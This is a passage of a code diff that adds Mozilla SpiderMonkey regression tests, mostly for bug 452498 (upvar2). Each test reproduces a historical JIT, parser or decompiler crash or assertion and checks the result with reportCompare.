+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Geoff Garen
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452189;
+var summary = "Don't shadow a readonly or setter proto-property";
+var expect = "PASS";
+var actual = "FAIL";
+
+function c() {
+ this.x = 3;
+}
+
+
+new c;
+Object.prototype.__defineSetter__('x', function(){ actual = expect; })
+new c;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-452333.js b/js/src/tests/non262/regress/regress-452333.js
new file mode 100644
index 0000000000..a1d4527681
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452333.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452333;
+var summary = 'Do not crash with JIT: @ js_SkipWhiteSpace';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { (typeof 3/0); } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452336.js b/js/src/tests/non262/regress/regress-452336.js
new file mode 100644
index 0000000000..e42c5a209a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452336.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452336;
+var summary = 'Do not assert with JIT: (slot) < (uint32_t)(obj)->dslots[-1]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { [1].x++; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452346.js b/js/src/tests/non262/regress/regress-452346.js
new file mode 100644
index 0000000000..10f8e9f987
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452346.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452346;
+var summary = 'Do not crash: @ Balloc';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j=0;j<2;++j) (0.1).toPrecision(30);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452491.js b/js/src/tests/non262/regress/regress-452491.js
new file mode 100644
index 0000000000..a02ed51b94
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452491.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452491;
+var summary = 'Do not crash with JIT: with new';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0;j<5;++j) (new (function(q) { return q; })).a;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452495.js b/js/src/tests/non262/regress/regress-452495.js
new file mode 100644
index 0000000000..ae07f37a14
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452495.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452495;
+var summary = 'Do not crash with JIT: @ TraceRecorder::getThis';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+for (var j = 0; j < 4; ++j) { try { new 1(this); } catch(e) { } }
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-452498-006.js b/js/src/tests/non262/regress/regress-452498-006.js
new file mode 100644
index 0000000000..4f40d887fe
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-006.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #6 From Andreas Gal :gal
+
+ function foo() {
+ var x = 4;
+ var f = (function() { return x++; });
+ var g = (function() { return x++; });
+ return [f,g];
+ }
+
+ var bar = foo();
+
+ expect = '9';
+ actual = 0;
+
+ bar[0]();
+ bar[1]();
+
+ actual = String(expect);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-027.js b/js/src/tests/non262/regress/regress-452498-027.js
new file mode 100644
index 0000000000..e5e19d5ca0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-027.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '5';
+
+// ------- Comment #27 From Brendan Eich
+
+ function f(x){function g(y) { return x+y; } return g}
+ g = f(2);
+
+ actual = String(g(3));
+
+ reportCompare(expect, actual, summary);
+}
+
+
+
diff --git a/js/src/tests/non262/regress/regress-452498-030.js b/js/src/tests/non262/regress/regress-452498-030.js
new file mode 100644
index 0000000000..3ca998b4af
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-030.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #30 From Mike Shaver
+
+ function f() { var i = 0; var i = 5; }
+ f();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-040.js b/js/src/tests/non262/regress/regress-452498-040.js
new file mode 100644
index 0000000000..e0d9827a1d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-040.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #40 From Jesse Ruderman
+
+ function m()
+ {
+ function a() { }
+ function b() { a(); }
+ this.c = function () { b(); }
+ }
+ (new m).c();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-050.js b/js/src/tests/non262/regress/regress-452498-050.js
new file mode 100644
index 0000000000..6989837f97
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-050.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #50 From Jason Orendorff
+
+// Do not crash
+
+// compiler bug when a block introduces no names
+ { let {}={}; }
+
+ try
+ {
+// compiler incorrectly emits GETLOCAL for first `x`,
+// triggering decompiler assertion
+ while (x.y) { let x; }
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-051.js b/js/src/tests/non262/regress/regress-452498-051.js
new file mode 100644
index 0000000000..3c7fa532d4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-051.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #51 From Jason Orendorff
+
+// Assertion failure: UPVAR_FRAME_SKIP(uva->vector[i]) == 0
+// at ../jsopcode.cpp:2791
+//
+// when decompiling the eval code, which is:
+//
+// main:
+// 00000: 10 getupvar 0
+// 00003: 10 getprop "y"
+// 00006: 10 popv
+// 00007: 10 stop
+ try
+ {
+ function f() { var x; eval("x.y"); }
+ f();
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-052-a.js b/js/src/tests/non262/regress/regress-452498-052-a.js
new file mode 100644
index 0000000000..fdba2e8335
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-052-a.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #52 From Jason Orendorff
+
+
+// Assertion failure: pn_arity == PN_FUNC || pn_arity == PN_NAME, at ../jsparse.h:444
+// Here the function node has been morphed into a JSOP_TRUE node, but we're in
+// FindFunArgs poking it anyway.
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+ timeout(3);
+ while(function(){});
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-053.js b/js/src/tests/non262/regress/regress-452498-053.js
new file mode 100644
index 0000000000..749e53e0cd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-053.js
@@ -0,0 +1,77 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #53 From Jason Orendorff
+
+// Assertion failure: (slot) < (uint32_t)(obj)->dslots[-1]
+// at ../jsobj.cpp:5559
+// On the last line of BindLet, we have
+// JS_SetReservedSlot(cx, blockObj, index, PRIVATE_TO_JSVAL(pn));
+// but this uses reserved slots as though they were unlimited.
+// blockObj only has 2.
+ { let a=0, b=1, c=2; }
+
+// In RecycleTree at ../jsparse.cpp:315, we hit
+// MOZ_CRASH("RecycleUseDefKids");
+// pn->pn_type is TOK_UNARYOP
+// pn->pn_op is JSOP_XMLNAME
+// pn->pn_defn is 1
+// pn->pn_used is 1
+ try
+ {
+ true; 0;
+ }
+ catch(ex)
+ {
+ }
+// Calls LinkUseToDef with pn->pn_defn == 1.
+//
+// If you say "var x;" first, then run this case, it gets further,
+// crashing in NoteLValue like the first case in comment 52.
+//
+ try
+ {
+ for (var [x] in y) var x;
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: !pn2->pn_defn, at ../jsparse.h:461
+// Another case where some optimization is going on.
+ try
+ {
+ if (true && foo) ;
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: scope->object == ctor
+// in js_FastNewObject at ../jsbuiltins.cpp:237
+//
+// With the patch, we're new-ing a different function each time, and the
+// .prototype property is missing.
+//
+ for (var z = 0; z < 3; z++) { (new function(){}); }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-058.js b/js/src/tests/non262/regress/regress-452498-058.js
new file mode 100644
index 0000000000..a1e7520271
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-058.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #58 From Gary Kwong [:nth10sd]
+
+ function foo(x) { var x = x }
+
+// Assertion failure: dn->kind() == ((data->op == JSOP_DEFCONST) ? JSDefinition::CONST : JSDefinition::VAR), at ../jsparse.cpp:2595
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-062.js b/js/src/tests/non262/regress/regress-452498-062.js
new file mode 100644
index 0000000000..95db7aa8dd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-062.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #62 From Gary Kwong [:nth10sd]
+
+ try
+ {
+ eval(
+ '(function(){' +
+ ' var x;' +
+ ' this.init_by_array = function()' +
+ ' x = 0;' +
+ '})();'
+ );
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: ATOM_IS_STRING(atom), at ../jsinterp.cpp:5686
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-063.js b/js/src/tests/non262/regress/regress-452498-063.js
new file mode 100644
index 0000000000..68a8f97a7a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-063.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #63 From Brendan Eich
+
+ function f(that) {
+ for (ix in this)
+ print(ix);
+ for (let ix in that)
+ ;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-071.js b/js/src/tests/non262/regress/regress-452498-071.js
new file mode 100644
index 0000000000..791c40317c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-071.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #71 From Jesse Ruderman
+
+ x; var x
+// Assertion failure: pn->pn_op == JSOP_NOP, at ../jsparse.cpp:1118
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-072.js b/js/src/tests/non262/regress/regress-452498-072.js
new file mode 100644
index 0000000000..93ecef16aa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-072.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #72 From Jesse Ruderman
+
+ v = function p() { delete p; };
+// Assertion failure: JOF_OPTYPE(op) == JOF_ATOM, at ../jsemit.cpp:1711
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-073.js b/js/src/tests/non262/regress/regress-452498-073.js
new file mode 100644
index 0000000000..72475dc897
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-073.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #73 From Jesse Ruderman
+
+ try
+ {
+ eval('function() { var arguments }');
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: (uintN)i < ss->top, at ../jsopcode.cpp:2801
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-074.js b/js/src/tests/non262/regress/regress-452498-074.js
new file mode 100644
index 0000000000..bb80553b09
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-074.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '1';
+
+// ------- Comment #74 From Jesse Ruderman
+
+ const [d] = [1]; print(actual = d);
+
+ actual = String(actual);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-075.js b/js/src/tests/non262/regress/regress-452498-075.js
new file mode 100644
index 0000000000..97caea200e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-075.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #75 From Jesse Ruderman
+
+ (function p(){ p = 3; });
+ (function p(){ p = 3; return p; })()
+// Assertion failure: regs.sp == StackBase(fp), at ../jsinterp.cpp:2980
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-076.js b/js/src/tests/non262/regress/regress-452498-076.js
new file mode 100644
index 0000000000..e9d4f49023
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-076.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #76 From Jesse Ruderman
+
+ for (let d = 0; d < 4; ++d) { d; }
+// 1: ReferenceError: d is not defined
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-079.js b/js/src/tests/non262/regress/regress-452498-079.js
new file mode 100644
index 0000000000..4768b3d707
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-079.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #79 From Jason Orendorff
+
+ x; var x; function x() { return 0; }
+
+// Assertion failure: !(pn->pn_dflags & flag), at ../jsparse.h:635
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-082.js b/js/src/tests/non262/regress/regress-452498-082.js
new file mode 100644
index 0000000000..b8869cf547
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-082.js
@@ -0,0 +1,77 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #82 From Gary Kwong [:nth10sd]
+
+// =====
+
+ (function(){function x(){} {let x = [] }});
+
+// =====
+
+ var f = new Function("new function x(){ return x |= function(){} } ([], function(){})");
+ "" + f;
+
+// =====
+
+ function g(code)
+ {
+ var f = new Function(code);
+ f();
+ }
+ g("for (var x = 0; x < 3; ++x)(new (function(){})());");
+
+// =====
+ try
+ {
+ eval(
+ 'for(let [\n' +
+ 'function x () { M:if([1,,]) }\n'
+ );
+ }
+ catch(ex)
+ {
+ }
+
+// =====
+
+ try
+ {
+ function foo(code)
+ {
+ var c;
+ eval("const c, x5 = c;");
+ }
+ foo();
+ }
+ catch(ex)
+ {
+ }
+
+// =====
+
+ var f = new Function("[] = [( '' )()];");
+ "" + f;
+
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-092.js b/js/src/tests/non262/regress/regress-452498-092.js
new file mode 100644
index 0000000000..5fe86a9b0f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-092.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #92 From Jesse Ruderman
+
+ expect = 'SyntaxError: redeclaration of formal parameter e';
+ try
+ {
+ eval('(function (e) { var e; const e = undefined; });');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+// Without patch: "SyntaxError: redeclaration of var e"
+// expected new behavior // With patch: "SyntaxError: redeclaration of formal parameter e:"
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-102.js b/js/src/tests/non262/regress/regress-452498-102.js
new file mode 100644
index 0000000000..05fa0bc148
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-102.js
@@ -0,0 +1,66 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #102 From Gary Kwong [:nth10sd]
+
+// =====
+
+ (function(){function x(){} function x() { return y; }})();
+
+// Assertion failure: JOF_OPTYPE(op) == JOF_ATOM, at ../jsemit.cpp:1710
+
+// =====
+ function f() {
+ "" + (function(){
+ for( ; [function(){}] ; x = 0)
+ with({x: ""}) {
+ const x = []
+ }});
+ }
+ f();
+
+// Assertion failure: ss->top - saveTop <= 1U, at ../jsopcode.cpp:2156
+
+// =====
+
+ try
+ {
+ function f() {
+ var x;
+ eval("const x = [];");
+ }
+ f();
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: regs.sp == StackBase(fp), at ../jsinterp.cpp:2984
+
+// Assertion failure: cg->staticLevel >= level, at ../jsemit.cpp:2014
+// Crash [@ BindNameToSlot] in opt without -j
+
+// =====
+
+ reportCompare(expect, actual, summary);
+}
+
+
+
